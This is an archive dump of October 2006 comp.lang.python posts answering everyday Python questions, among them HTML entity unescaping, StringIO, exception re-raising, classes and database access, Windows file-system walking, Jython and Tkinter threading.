Message-ID: <1160756956.868643.220970@m73g2000cwd.googlegroups.com>


hg wrote:
> Paddy wrote:
> > P.S. Welcome to Python!
> >
> How about a thread on GOTOs ? ;-)

I'm trying to be nice on c.l.p.
- Mind you, I do have that rant as part of my blog:
  http://paddy3118.blogspot.com/2006/03/whats-wrong-with-perl.html

;-)

- Paddy.



From aahz at pythoncraft.com  Fri Oct 27 10:40:30 2006
From: aahz at pythoncraft.com (Aahz)
Date: 27 Oct 2006 07:40:30 -0700
Subject: Sentinel values for special cases
References: <mailman.1308.1161912647.11739.python-list@python.org>
Message-ID: <eht5ou$7v5$1@panix3.panix.com>

In article <mailman.1308.1161912647.11739.python-list at python.org>,
Ben Finney  <ben at benfinney.id.au> wrote:
>
>Fourth, if you have decided that a magic sentinel value is called for
>but None is already taken for some other purpose, don't use a
>string. Use a unique do-nothing object, defined at the module level so
>callers can easily get at it, like 'Dmitry Vasiliev' showed
>[reproduced below].
>
>    GLOBAL = object()
>
>    def insert_ids(ids=GLOBAL):
>        if ids is GLOBAL:
>            ids = get_global_ids()

The one disadvantage of this approach is that it complicates pickling
if/when you store the stentinel in an instance.  There are ways of
working around that, but none are pleasant.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From rvernica at gmail.com  Tue Oct 31 02:38:28 2006
From: rvernica at gmail.com (Rares Vernica)
Date: Mon, 30 Oct 2006 23:38:28 -0800
Subject: unescape HTML entities
In-Reply-To: <45449EAC.4070103@vtxmail.ch>
References: <ei0add$man$1@sea.gmane.org> <45449EAC.4070103@vtxmail.ch>
Message-ID: <ei6uhj$j3u$2@sea.gmane.org>

Thanks a lot for all the answers!
Ray

Frederic Rentsch wrote:
> Rares Vernica wrote:
>> Hi,
>>
>> How can I unescape HTML entities like "&nbsp;"?
>>
>> I know about xml.sax.saxutils.unescape() but it only deals with "&amp;", 
>> "&lt;", and "&gt;".
>>
>> Also, I know about htmlentitydefs.entitydefs, but not only this 
>> dictionary is the opposite of what I need, it does not have "&nbsp;".
>>
>> It has to be in python 2.4.
>>
>> Thanks a lot,
>> Ray
>>
> One way is this:
> 
>  >>> import SE                                                      # 
> Download from http://cheeseshop.python.org/pypi/SE/2.2%20beta
>  >>> SE.SE ('HTM2ISO.se')('input_file_name', 'output_file_name')    # 
> HTM2ISO.se is included
> 'output_file_name'
> 
> For repeated translations the SE object would be assigned to a variable:
> 
>  >>> HTM_Decoder = SE.SE ('HTM2ISO.se')
> 
> SE objects take and return strings as well as file names which is useful 
> for translating string variables, doing line-by-line translations and 
> for interactive development or verification. A simple way to check a 
> substitution set is to use its definitions as test data. The following 
> is a section of the definition file HTM2ISO.se:
> 
> test_string = '''
> &oslash;=(xf8)   #  248  f8
> &ugrave;=(xf9)   #  249  f9
> &uacute;=(xfa)   #  250  fa
> &ucirc;=(xfb)    #  251  fb
> &uuml;=(xfc)     #  252  fc
> &yacute;=(xfd)   #  253  fd
> &thorn;=(xfe)    #  254  fe
> &#233;=(xe9)
> &#234;=(xea)
> &#235;=(xeb)
> &#236;=(xec)
> &#237;=(xed)
> &#238;=(xee)
> &#239;=(xef)
> '''
> 
>  >>> print HTM_Decoder (test_string)
> 
> ?=(xf8)   #  248  f8
> ?=(xf9)   #  249  f9
> ?=(xfa)   #  250  fa
> ?=(xfb)    #  251  fb
> ?=(xfc)     #  252  fc
> ?=(xfd)   #  253  fd
> ?=(xfe)    #  254  fe
> ?=(xe9)
> ?=(xea)
> ?=(xeb)
> ?=(xec)
> ?=(xed)
> ?=(xee)
> ?=(xef)
> 
> Another feature of SE is modularity.
> 
>  >>> strip_tags = '''
>    ~<(.|\x0a)*?>~=(9)               # one tag to one tab
>    ~<!--(.|\x0a)*?-->~=(9)          # one comment to one tab
> |                                   # run
>    "~\x0a[ \x09\x0d\x0a]*~=(x0a)"   # delete empty lines
>    ~\t+~=(32)                       # one or more tabs to one space
>    ~\x20\t+~=(32)                   # one space and one or more tabs to 
> one space
>    ~\t+\x20~=(32)                   # one or more tab and one space to 
> one space
> '''
> 
>  >>> HTM_Stripper_Decoder = SE.SE (strip_tags + ' HTM2ISO.se ')   # 
> Order doesn't matter
> 
> If you write 'strip_tags' to a file, say 'STRIP_TAGS.se' you'd name it 
> together with HTM2ISO.se:
> 
>  >>> HTM_Stripper_Decoder = SE.SE ('STRIP_TAGS.se  HTM2ISO.se')   # 
> Order doesn't matter
> 
> Or, if you have two SE objects, one for stripping tags and one for 
> decoding the ampersands, you can nest them like this:
> 
>  >>> test_string = "<p class=MsoNormal 
> style='line-height:110%'><i>Ren&eacute;</i> est un gar&ccedil;on qui 
> para&icirc;t plus &acirc;g&eacute;. </p>"
> 
>  >>> print Tag_Stripper (HTM_Decoder (test_string))
>   Ren? est un gar?on qui para?t plus ?g?.
> 
> Nesting works with file names too, because file names are returned:
> 
>  >>> Tag_Stripper (HTM_Decoder ('input_file_name'), 'output_file_name')
> 'output_file_name'
> 
> 
> Frederic
> 
> 
> 



From diffuser78 at gmail.com  Thu Oct  5 15:56:40 2006
From: diffuser78 at gmail.com (diffuser78 at gmail.com)
Date: 5 Oct 2006 12:56:40 -0700
Subject: Graph Theory
Message-ID: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>

Is there any library in Python which has implementation of graph
theoretic algorithms and models ?



From david at boddie.org.uk  Sun Oct  8 10:03:55 2006
From: david at boddie.org.uk (David Boddie)
Date: Sun, 08 Oct 2006 16:03:55 +0200
Subject: Kde Taskbar
References: <4527a4ae@127.0.0.1> <4opp4hFft30pU1@uni-berlin.de>
	<b9a4d$4528450e$54d1d767$6186@news.chello.no>
	<egaq5n$v14$1@lust.ihug.co.nz>
Message-ID: <bba78$4529054c$54d1d767$17083@news.chello.no>

On Sunday 08 October 2006 14:16, Lawrence D'Oliveiro wrote:

> In message <b9a4d$4528450e$54d1d767$6186 at news.chello.no>, David Boddie
> wrote:
> 
>> I'd be interested in an example of how to use knotify via DCOP.
> 
> Found a tutorial here <http://lukeplant.me.uk/articles.php?id=3>.

Thanks for the link. Maybe the original poster can use something
from the tutorial if the window activation trick doesn't work.

David


From me at jonbowlas.com  Mon Oct 16 09:18:07 2006
From: me at jonbowlas.com (Jonathan Bowlas)
Date: Mon, 16 Oct 2006 14:18:07 +0100
Subject: Convert StringIO to string
Message-ID: <022401c6f125$856ac9d0$fde92452@bowlas>

Ahh thanks, I'll give that a try.

-----Original Message-----
From: python-list-bounces+info=jonbowlas.com at python.org
[mailto:python-list-bounces+info=jonbowlas.com at python.org] On Behalf Of
skryskalla at gmail.com
Sent: 16 October 2006 14:00
To: python-list at python.org
Subject: Re: Convert StringIO to string

Jonathan Bowlas wrote:
> But obviously replace() isn't an attribute of StringIO so I guess I need
to
> convert it to a string first, can someone please advise how I can do this?

StringIO objects are file-like objects, so you need to use read or
readlines to get the string data out of it (just like a regular file).
Before reading remember to seek back to the beginning to get all of the
data ("Be kind, rewind!"):

>>> import StringIO
>>> s = StringIO.StringIO()
>>> s.write("hello world\n")
>>> s.seek(0)
>>> s.read()
'hello world\n'

>>> s = StringIO.StringIO()
>>> s.write("hello world\n")
>>> s.read()
''

-- 
http://mail.python.org/mailman/listinfo/python-list





From steve at holdenweb.com  Tue Oct  3 02:46:28 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 03 Oct 2006 07:46:28 +0100
Subject: saving an exception
In-Reply-To: <efsrl4$sqo$2@sea.gmane.org>
References: <efsrl4$sqo$2@sea.gmane.org>
Message-ID: <eft0uh$8r9$1@sea.gmane.org>

Bryan wrote:
> hi,
> 
> i would like to save an exception and reraise it at a later time.
> 
> 
> something similar to this:
> 
> exception = None
> def foo():
>     try:
>         1/0 
>     except Exception, e:
>         exception = e
> 
> if exception: raise exception
> 
> 
> i have a need to do this because in my example foo is a callback from c code
> which was originally called from python and i can't modify the c code. 
> with the above code, i'm able to successfully raise the exception, but the
> line number of the exception is at the place of the explicit raise instead
> of the where the exception originally occurred.  is there anyway to fix
> this?
> 
You can capture the trace at the time the original exception is raised, 
if that would help? I think the traceback module lets you do that.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From bretthoerner at gmail.com  Sat Oct 14 19:15:58 2006
From: bretthoerner at gmail.com (Brett Hoerner)
Date: 14 Oct 2006 16:15:58 -0700
Subject: Ok. This IS homework ...
In-Reply-To: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
Message-ID: <1160867758.584637.101360@m73g2000cwd.googlegroups.com>

spawn wrote:
> while running:
> 	guess = int(raw_input('Enter an integer that I can use to add : '))
> 	subtotal = guess
> 	while running:
> 		guess = int(raw_input('I\'ll need another number : '))
> 		running_total = guess +	subtotal

You keep adding the original input (subtotal) to the most recent guess,
and printing "running_total".  You never re-assign subtotal or make use
of running_total in your deepest loop.

Also, you never break out of your deepest loop, why are you using two
nested infinite-loops anyway?

Regards,
Brett Hoerner



From martin.witte at gmail.com  Fri Oct 20 02:34:48 2006
From: martin.witte at gmail.com (wittempj@hotmail.com)
Date: 19 Oct 2006 23:34:48 -0700
Subject: help with my first use of a class
In-Reply-To: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
Message-ID: <1161326088.159914.47150@h48g2000cwc.googlegroups.com>

BartlebyScrivener wrote:
> I am a mere hobbyist. Spent several hours trying to make a class,
> because I think this is an occasion where I need one. But I can't make
> it work.
>
> This code "works" (only because of the global c, which I know I'm
> supposed to avoid, by using a Class). I edited the rest to leave out
> the irrelevant formatting and printing of the quotations.
>
> I've read about Classes several times, but I don't "get" them yet.
> Obviously. If I can solve one real life problem like this, then maybe
> I'll see the light.
>
> If I understand the power of Classes correctly, I could make one that
> would allow me to make a new instance that would connect to, say, an
> SQLite3 db instead of the Access db, as well as to create more methods
> that will do different SQL searches.
>
> Thank you for any help,
>
> rd
>
> --------------------------------------
>
> import mx.ODBC.Windows as odbc
> import sys
> import random
>
> def connect():
>     global c

This means you want to use a global variable c which doesn't exist yet,
an example would be to save this code to a file:

#!/usr/bin/env python

c = 0
def test_global():
    global c
    c = 1

print c

this will print 0 when you run it

>     db='DSN=Quotations'
>     conn = odbc.DriverConnect(db)
>     c = conn.cursor()
>
> def random_quote():
>     """
>     Counts all of the quotes in MS Access database Quotations2005.mdb.
>     Picks one quote at random and displays it using textwrap.
>     """
>     c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery")
>     # Yields the number of rows with something in the quote field
>     total_quotes = c.fetchone()
>     # Get a random number somewhere between 1 and the number of total
> quotes
>     quote_number = (random.randint(1, total_quotes[0]),)
>     # Select a quote where the ID matches that number
>     c.execute ("SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?",
> quote_number)
>     quote = c.fetchone()
>     blah blah blah
>
> def print_quote()
>     code to format and print the quote (which will also have to be
> global, unless I learn Classes!)
>
>

A class structure could look like - please bear in mind that I don't
know mx.ODBC.Windows - I guess it is not completely DB-API compliant,
as you don't use a connect method.

class SQLQuery(object):
    """Object which connects to the database and can execurte SQL
commands
    """
    def __init__(self, conn):
        """conn is a dictionary {'serverId': XX, 'userId': YY,
'passWord': ZZ}
        """
        self.connection = connect(conn['userId'], conn['passWord'],
conn['serverId'])
        self.cursor = self.__connection.cursor()

    def select(self, selectqry):
    """argument selectqry specifies a sql which returns data, like a
select
    """
    self.cursor.execute(selectqry)
    return self.cursor.fetchall()

sql = SQLQuery('serverId': 'XX', 'userId': 'YY', 'passWord': 'ZZ')
qoutes = sql.select("SELECT COUNT(Quote) FROM PythonQuoteQuery")
print quotes

> if __name__ == '__main__':
>     if len(sys.argv) == 1:

sys.argv is a list, where the first argument is the name of the running
script, the second element is the first argument, etc.

>         connect()
>         random_quote()
>         print_quote()



From fredrik at pythonware.com  Mon Oct 30 05:58:06 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 11:58:06 +0100
Subject: Very simple request about argument setting.
In-Reply-To: <f88ae3bd36c6.36c6f88ae3bd@monash.edu.au>
References: <f88ae3bd36c6.36c6f88ae3bd@monash.edu.au>
Message-ID: <ei4lru$9ut$1@sea.gmane.org>

Hieu Hoang wrote:

> So, this command assigns 2 values (x and foo) to 3 variables (x, foo 
> and bar), which raises that exception. I'm not sure why python says 
> "need more than 2 values to unpack" not "need 3 values" though.

probably because if you look at the call site

     x,foo,bar=shuf(1,2,3,4,5,6,7,8)

it's more helpful to learn that "shuf" returned 2 values than to learn 
that the code you're looking at requires three values.

</F>



From irmen.NOSPAM at xs4all.nl  Tue Oct 24 19:05:20 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Wed, 25 Oct 2006 01:05:20 +0200
Subject: Stylesheet not respected
In-Reply-To: <1161730422.793144.289690@f16g2000cwb.googlegroups.com>
References: <1161730422.793144.289690@f16g2000cwb.googlegroups.com>
Message-ID: <453e9c33$0$335$e4fe514c@news.xs4all.nl>

Suren wrote:
> I was able to the see weird stylesheet behavior on opera, IE and
> mozilla under
> mod_python. 
[snip]

I'm 99% sure this has nothing to do with Python but is just an error
in your CSS file. Show the CSS so we might be able to see the problem.

One thing to check for though is that your web server is serving CSS
files with the correct content type (text/css and not text/plain or
somthing equally silly).

--Irmen


From carsten at uniqsys.com  Tue Oct 17 09:02:04 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Tue, 17 Oct 2006 09:02:04 -0400
Subject: Newbie: datetime conversion question
In-Reply-To: <1161089016.309925.94840@b28g2000cwb.googlegroups.com>
References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com>
Message-ID: <1161090123.9902.3.camel@dot.uniqsys.com>

On Tue, 2006-10-17 at 08:43, kevin evans wrote:
> Hi,
> I'm trying to convert some code from Ruby to Python, specifically..
> 
> timestamp = "%08x" % Time.now.to_i
> 
> Make a hex version of the current timestamp. Any ideas how best to do
> this in python gratefully received..

import time
timestamp = "%08x" % int(time.time())

-Carsten




From fulvio at tm.net.my  Fri Oct 27 11:11:12 2006
From: fulvio at tm.net.my (Fulvio)
Date: Fri, 27 Oct 2006 23:11:12 +0800
Subject: Handling emails
In-Reply-To: <8764e6hex1.fsf@benfinney.id.au>
References: <mailman.967.1161596728.11739.python-list@python.org>
	<ehqbta$378$1@sea.gmane.org> <8764e6hex1.fsf@benfinney.id.au>
Message-ID: <200610272311.12604.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Friday 27 October 2006 06:48, Ben Finney wrote:
> There is always the option to not send messages to this list using
> that mail server

Once again sorry for that. I'll take action to switch to another mailserver.
Thank for the advice

F




From tim.golden at viacom-outdoor.co.uk  Mon Oct  9 10:00:10 2006
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Mon, 9 Oct 2006 15:00:10 +0100
Subject: file system iteration
In-Reply-To: <egdjp5$7sm$1@news.albasani.net>
Message-ID: <CCAC78D42E32184F8E26DC163DB98306C1B4FF@vogbs009.gb.vo.local>

[Georg Brandl]

| rick wrote:
| > In Windows, the file system is disjointed and there is now 
| real 'root' 
| > At least none that I can see. It looks more like this:
| > 
| > | | | | | | |
| > |_|_|_|_|_|_|
| > A B C D E F G
| > 
| > How do you guys handle this when working with scripts that 
| need to touch 
| > all files and folders on a Windows machine? I've been 
| looping through 
| > A-Z like this:

| Which application needs to walk over ALL files? Normally, you 
| just have a starting path and walk over everything under it.

FWIW, I'm inclined to agree with George: whatever system you're
on, blindly walking across all file paths may be more or less of
a good idea. Certain of those drive letters may be removable
drives [*] or network (even web-based) drives with vast acreages
of storage. 

[*] Try doing the following, for example, and watch for the popup:

<code>
import os
for x in os.walk ("a:/"):
  print x

</code>

Depending on how far your "core Python-only" requirement
goes, you should be able to use pywin32 or ctypes to dig into the
Win32 API to pick up volume-level information, altho' I seem to
recall it's mildly messy. Certainly WMI can do things here, but
I suspect you'd want a tighter starting requirement than we're
currently seeing.

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
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From cems at earthlink.net  Sun Oct  1 11:37:24 2006
From: cems at earthlink.net (charlie strauss)
Date: Sun, 1 Oct 2006 11:37:24 -0400 (EDT)
Subject: Is this a bug? Python intermittently stops dead for seconds
Message-ID: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>

Steve, digging into the gc docs a bit more, I think the behaviour I am seeing is still not expected.  Namely, the program I offered has no obvious place where objects are deallocated.  The way GC is supposed to work is thate there are three levels of objects

level0:  newly created objects
level1:  objects that survived 1 round of garbage collection
level2:  objects that survivied 2+ rounds of gargbage collection

Since all of my numerous objects are level2 objects, and none of them are every deallocated, then I should never trip the GC for these.

Your explanation would require this to be tripped so I can't explain it.  For your explanation to be correct then there as to be some non-obvious step in the program that is deallocating level2 items in sufficient numbers to trip the GC.  




From bearophileHUGS at lycos.com  Wed Oct 11 18:23:34 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 11 Oct 2006 15:23:34 -0700
Subject: dicts + amb
In-Reply-To: <pan.2006.10.11.21.56.01.797790@gmx.net>
References: <1160601017.272078.63240@h48g2000cwc.googlegroups.com>
	<pan.2006.10.11.21.56.01.797790@gmx.net>
Message-ID: <1160605414.714511.181280@k70g2000cwa.googlegroups.com>

Marc 'BlackJack' Rintsch:
> I don't know if this is documented somewhere but the `reversed()` function
> looks for a `__reversed__()` method that returns an iterator.

You are right, thank you, I have done some tests already, and I'll soon
add that method too.

-------------------


Partially related.
I have used the new Google code search:
http://www.google.com/codesearch/advanced_code_search
To find the usage frequency of Python dict methods:

456 ".itervalues()" lang:python
415 ".iteritems()" lang:python
403 ".iterkeys()" lang:python
387 ".values()" lang:python
385 ".clear()" lang:python
256 ".update(" lang:python
254 ".fromkeys(" lang:python
224 ".has_key(" lang:python
201 ".get(" lang:python
200 ".items()" lang:python
159 ".popitem()" lang:python
113 "a.setdefault(" lang:python

The results are quite approximated, but they seem meaningful.

Bye,
bearophile



From jmdeschamps at gmail.com  Fri Oct 13 14:45:02 2006
From: jmdeschamps at gmail.com (jmdeschamps at gmail.com)
Date: 13 Oct 2006 11:45:02 -0700
Subject: IDE
In-Reply-To: <12ivggt86e3js24@corp.supernews.com>
References: <4zOXg.1918$uv5.11354@twister1.libero.it>
	<mailman.461.1160757081.11739.python-list@python.org>
	<12ivggt86e3js24@corp.supernews.com>
Message-ID: <1160765102.671856.202100@f16g2000cwb.googlegroups.com>


Jan Bakuwel wrote:
> John Purser wrote:
> > On Fri, 2006-10-13 at 15:48 +0000, giuseppe wrote:
> >> What is the better IDE software for python programming?
> >>
> >> many thanks
> >>
> >> joe
> >
> > Joe,
> >
> > Find the best Python programmer and ask him/her.
> >
> > John Purser
>
> I may be the worst Python programmer (since Python is new for me)... but
> I have a lot of experience with IDEs and just looked into Python IDEs.
>
> My opinion: Eclipse is free but rather complex; WingIDE is commercial
> software but well worth the few $ - at least for someone like myself.
>
> cheers,
> Jan

Actually, Eclipse is easy enough, if you don't want to use the whole
complexity available and Pydev (the python plugin) is really good - but
this is NOT a flame because wingware as a good reputation also SPE (but
I haven't tried it necause i don't have wxPython), also PythonScript or
Pyscripter as it is sometimes found, but that is windows only (I
think). And then, there is Komodo, from our friends at ActiveState...

Jean-Marc



From rrr at ronadam.com  Thu Oct 12 18:26:45 2006
From: rrr at ronadam.com (Ron Adam)
Date: Thu, 12 Oct 2006 17:26:45 -0500
Subject: 3D Vector Type Line-Drawing Program
In-Reply-To: <452d2474$1@nntp0.pdx.net>
References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>
	<qbBWg.21268$Ij.20727@newssvr14.news.prodigy.com>
	<452b17a7$1@nntp0.pdx.net> <8xYWg.5851$fl.4129@dukeread08>
	<452d2474$1@nntp0.pdx.net>
Message-ID: <ZlzXg.5980$fl.1465@dukeread08>

Scott David Daniels wrote:
> Ron Adam wrote:
>> Scott David Daniels wrote:
>>> James Stroud wrote:
>>>>> I'm looking for a program to do line-drawings in 3d, with output to 
>>>>> postscript or svg or pdf, etc. I would like to describe a scene 
>>>>> with certain 1-3d elements oriented in 3d space with dashed or 
>>>>> colored lines and filled or transparent surfaces (or maybe 
>>>>> semitransparent).
>>>
>>>
>>> Take a look at VPython -- easy to start, 3-D display (wall-eye /
>>> cross-eye) easy to run on.
>>
>> I really like VPython because of how easy it is to use once you are 
>> familiar with it.
>>
>> Is there a way to have the display show a wire frame image instead of 
>> shaded shapes?
> You can draw the edges as lines.

Is there a setting for this?, or are you suggesting reading the coordinates and 
creating curve objects for the edges?


>> Is there an easy way to convert a display to something that can be 
>> printed?
> 
> You can generate POV-ray source.  This is not a system for creating
> beautiful pictures, but rather a great 3-D sketch pad.

Doing a little googling found this...

    http://cgkit.sourceforge.net/index.html


Still most of the items listed here are geared more towards 3d animation or for 
generating displays and are not ideal for generating high quality printed pages.

_Ron


From ath-admin at vt.edu  Mon Oct  9 10:17:14 2006
From: ath-admin at vt.edu (rick)
Date: Mon, 09 Oct 2006 10:17:14 -0400
Subject: file system iteration
In-Reply-To: <mailman.120.1160403451.11739.python-list@python.org>
References: <egdg02$pcd$1@solaris.cc.vt.edu>
	<egdjp5$7sm$1@news.albasani.net>	<egdku5$3so$1@solaris.cc.vt.edu>
	<mailman.120.1160403451.11739.python-list@python.org>
Message-ID: <egdlu2$5l2$1@solaris.cc.vt.edu>

Fredrik Lundh wrote:
> what's the difference between a "starting path" and a "starting point" ?

None. What starting path or point would you suggest under Windows? Is 
there something obvious that I'm missing? I see no starting point under 
windows as my initial question clearly stated.


From hanumizzle at gmail.com  Fri Oct  6 22:24:07 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 22:24:07 -0400
Subject: Names changed to protect the guilty
In-Reply-To: <eg6opn$7oj$1@panix3.panix.com>
References: <eg6opn$7oj$1@panix3.panix.com>
Message-ID: <463ff4860610061924y361ecfe0xfd60ea2919f905c5@mail.gmail.com>

On 6 Oct 2006 16:27:51 -0700, Aahz <aahz at pythoncraft.com> wrote:
> The following line of lightly munged code was found in a publicly
> available Python library...
>
>     if schema.elements.has_key(key) is False:

if not schema.elements.has_key(key): or, actually, if not key in
schema.elements: is how I would write it, but this reads more like
English.

-- Theerasak


From fredrik at pythonware.com  Tue Oct 24 10:58:30 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 16:58:30 +0200
Subject: A py2exe like tool for Linux
In-Reply-To: <83e8215e0610240527n786189d3o78987cd1cb4dd66d@mail.gmail.com>
References: <83e8215e0610240527n786189d3o78987cd1cb4dd66d@mail.gmail.com>
Message-ID: <ehl9ml$juu$2@sea.gmane.org>

Paolo Pantaleo wrote:

> is thre something like py2exe for Linux? I don't need to build a
> standalone executable (most Linuxes have python instaled), but at
> least I need to provide all the needed libraries togheter with my
> source code, so users just need to download one file, and not several
> libraries.

"installer" and "cx_freeze" are the two most common alternatives; see 
this page for links:

     http://effbot.org/zone/python-compile.htm

you can also build frozen interpreter binaries; see Tools/freeze/README 
in the source distribution for details.

</F>



From leipold at ace-net.com  Mon Oct 16 15:15:48 2006
From: leipold at ace-net.com (Walter S. Leipold)
Date: Mon, 16 Oct 2006 15:15:48 -0400
Subject: jython and toString
Message-ID: <E5F271CA3BECD511A5DB0040F60C8C89067048FA@bdcde0.ace-net.com>

toString() isn't supposed to be a static method.  When you call
x.toString(), you're accessing x's non-static version of toString(), which
is inherited from Object. 

-- Walt


ivansh (ishijak at gmail.com) wrote:
> For one java class (Hello) i use another (HelloPrinter) to build the
> string representation of the first one. When i've tried to use this
> from within jython,  HelloPrinter.toString(hello) call gives results
> like Object.toString() of hello has being called. The example below
> shows this behaviour.
> Could somebody explain this?
> 
> // Hello.java
> package jythontest;
> public class Hello {
> 	private String name;
> 	public Hello(String name)
> 	{
> 		this.name = name;
> 	}
> 	public String sayHello()
> 	{
> 		return "Hello, "+name;
> 	}
> }
> 
> // HelloPrinter.java
> package jythontest;
> public class HelloPrinter {
> 	public static String toString(Hello h)
> 	{
> 		return h.sayHello();
> 	}
> 
> 	public static String toMyString(Hello h)
> 	{
> 		return h.sayHello();
> 	}
> }
> 
> #  calljava.py
> from jythontest import *
> h = Hello("theName")
> print h
> print HelloPrinter.toString(h)
> print HelloPrinter.toMyString(h)
> 
> OUTPUT:
> jythontest.Hello at 523ca2   // GOOD
> jythontest.Hello at 523ca2   // WRONG
> Hello, theName                 // GOOD
> 
> 
> Jython 2.1 on java (JIT: null)
> 
> java version "1.5.0_03"
> Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_03-b07)
> Java HotSpot(TM) Server VM (build 1.5.0_03-b07, mixed mode)
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 


From Sebastien.Boisgerault at gmail.com  Tue Oct 17 03:36:51 2006
From: Sebastien.Boisgerault at gmail.com (=?iso-8859-1?q?S=E9bastien_Boisg=E9rault?=)
Date: 17 Oct 2006 00:36:51 -0700
Subject: Max-plus library
References: <aBTYg.65754$E67.63337@clgrps13>
	<mailman.602.1161037853.11739.python-list@python.org>
Message-ID: <1161070611.259347.153100@i42g2000cwa.googlegroups.com>

Robert Kern wrote:
> Martin Manns wrote:
> > Hello,
> >
> > Is there any library that allows employing max-plus dioids in
> > python (e.g. based on numpy/scipy)?
>
> Google says "no" and I haven't heard of any, so I imagine that there aren't.
> There might be something buried in some of the control theory packages, but as I
> neither know what max-plus dioids are, nor have I any current interest in them,
> I can't give you any better pointers.

See http://cermics.enpc.fr/~cohen-g//SED/index-e.html for a two-page
introduction to the field and its applications. Definitely worth a look
IMHO.

The second software you refer to
(http://www-rocq.inria.fr/MaxplusOrg/soft.html) is a Scilab package but
essentially made of C and Fortran files. Getting a working binding for
Python may not be that hard ...

Cheers,

SB

>
> --
> Robert Kern
>
> "I have come to believe that the whole world is an enigma, a harmless enigma
>   that is made terrible by our own mad attempt to interpret it as though it had
>   an underlying truth."
>    -- Umberto Eco



From fredrik at pythonware.com  Fri Oct  6 13:24:35 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 19:24:35 +0200
Subject: Google breaks Usenet (was Re: How can I correct an error in an
	old post?)
In-Reply-To: <1160154253.956469.195400@m73g2000cwd.googlegroups.com>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>	<1160096371.564954.132860@b28g2000cwb.googlegroups.com>	<4SmVg.9105$GR.2172@newssvr29.news.prodigy.net>	<eg5j9c$g62$1@panix3.panix.com>
	<1160154253.956469.195400@m73g2000cwd.googlegroups.com>
Message-ID: <eg63gj$6ej$1@sea.gmane.org>

Blair P. Houghton wrote:

> "show me the message from 1987 or 1988 written by dickie
> sexton where he invents the '(*plonk*)' meme" behavior,

these days, you use wikipedia for things like that.

</F>



From eric_brunel at despammed.com  Thu Oct  5 03:15:38 2006
From: eric_brunel at despammed.com (Eric Brunel)
Date: Thu, 05 Oct 2006 09:15:38 +0200
Subject: Python/Tkinter crash.
References: <mailman.1242.1159951684.10491.python-list@python.org>
	<op.tgwml9x1rqur0o@eb.pragmadev>
	<mailman.1279.1159985794.10491.python-list@python.org>
Message-ID: <op.tgxs4cobrqur0o@eb.pragmadev>

On Wed, 04 Oct 2006 20:02:56 +0200, Hendrik van Rooyen  
<mail at microcorp.co.za> wrote:
>  "Eric Brunel" <eric_brunel at despammed.com> wrote:
>> I know the problem happens sometimes on one of my Tkinter applications,
>> but I never succeeded in reproducing it systematically. I've browsed the
>> tcl bugs, but didn't find anything. Maybe you'll be luckier than I... If
>> you are, I'm interested in any hint you can find.
>
> Ouch! - this is a bit the wrong answer...

Sorry for that. I realize I wasn't very helpful, here...

> What I have seen, in mucking about today, is that it seems to be related  
> to
> threading - I have a silly sort of thread that runs, updating my meters,  
> more or
> less continuously, to simulate data from the field - it just adds some  
> values to
> the seven display variables and calls the update methods that delete and  
> redraw
> the arcs representing the analogue style meters, deleting and replacing  
> the text
> objects that show the values, and then it sleeps for a while, and does  
> it all
> again.
>
> At the same time, one other thread (other than the main thread), can be  
> created
> to move a component on the canvas around by calling its delete and draw
> methods. - but this is also done more or less continuously, as a new  
> thread is
> created as soon as the previous one dies to move the next object around.
>
> Now these two things are asynchronous with each other, so that given  
> enough
> time, they are bound to make calls to Tkinter in a re-entrant fashion,  
> and I
> suspect that it is this that is causing the problem - my "evidence" for  
> this is
> that I implemented a boolean as a sort of "lock" and had the Meter  
> updating back
> down in favour of the other animation to try and avoid any sort of re -  
> entrancy
> to the Tkinter canvas object's  delete and draw methods...

AFAIK, Tkinter is not thread safe. Using some kind of lock to serialize  
the calls from different threads may seem to work (I never tested it  
actually), but the safest way I found to use threads with Tkinter was to  
call it only from the thread where the main loop executes. The only thing  
that seems to work reliably in secondary threads is to generate custom  
events (widget.event_generate('<<MyCustomEvent>>', when='tail')), and to  
treat them in Tkinter's thread via bindings  
(widget.bind('<<MyCustomEvent>>', treatment_command)). This makes things a  
bit messy, but it works quite well.

Now, as I said before, someone reported that he *did* get the error you  
got from time to time. So maybe the problem I have is not the same as  
yours, or maybe there are some cases in my application where Tkinter stuff  
still gets called directly from secondary threads. I'll try to investigate  
that when I've time and I'll keep you informed.

HTH a little this time...
-- 
python -c "print ''.join([chr(154 - ord(c)) for c in  
'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])"


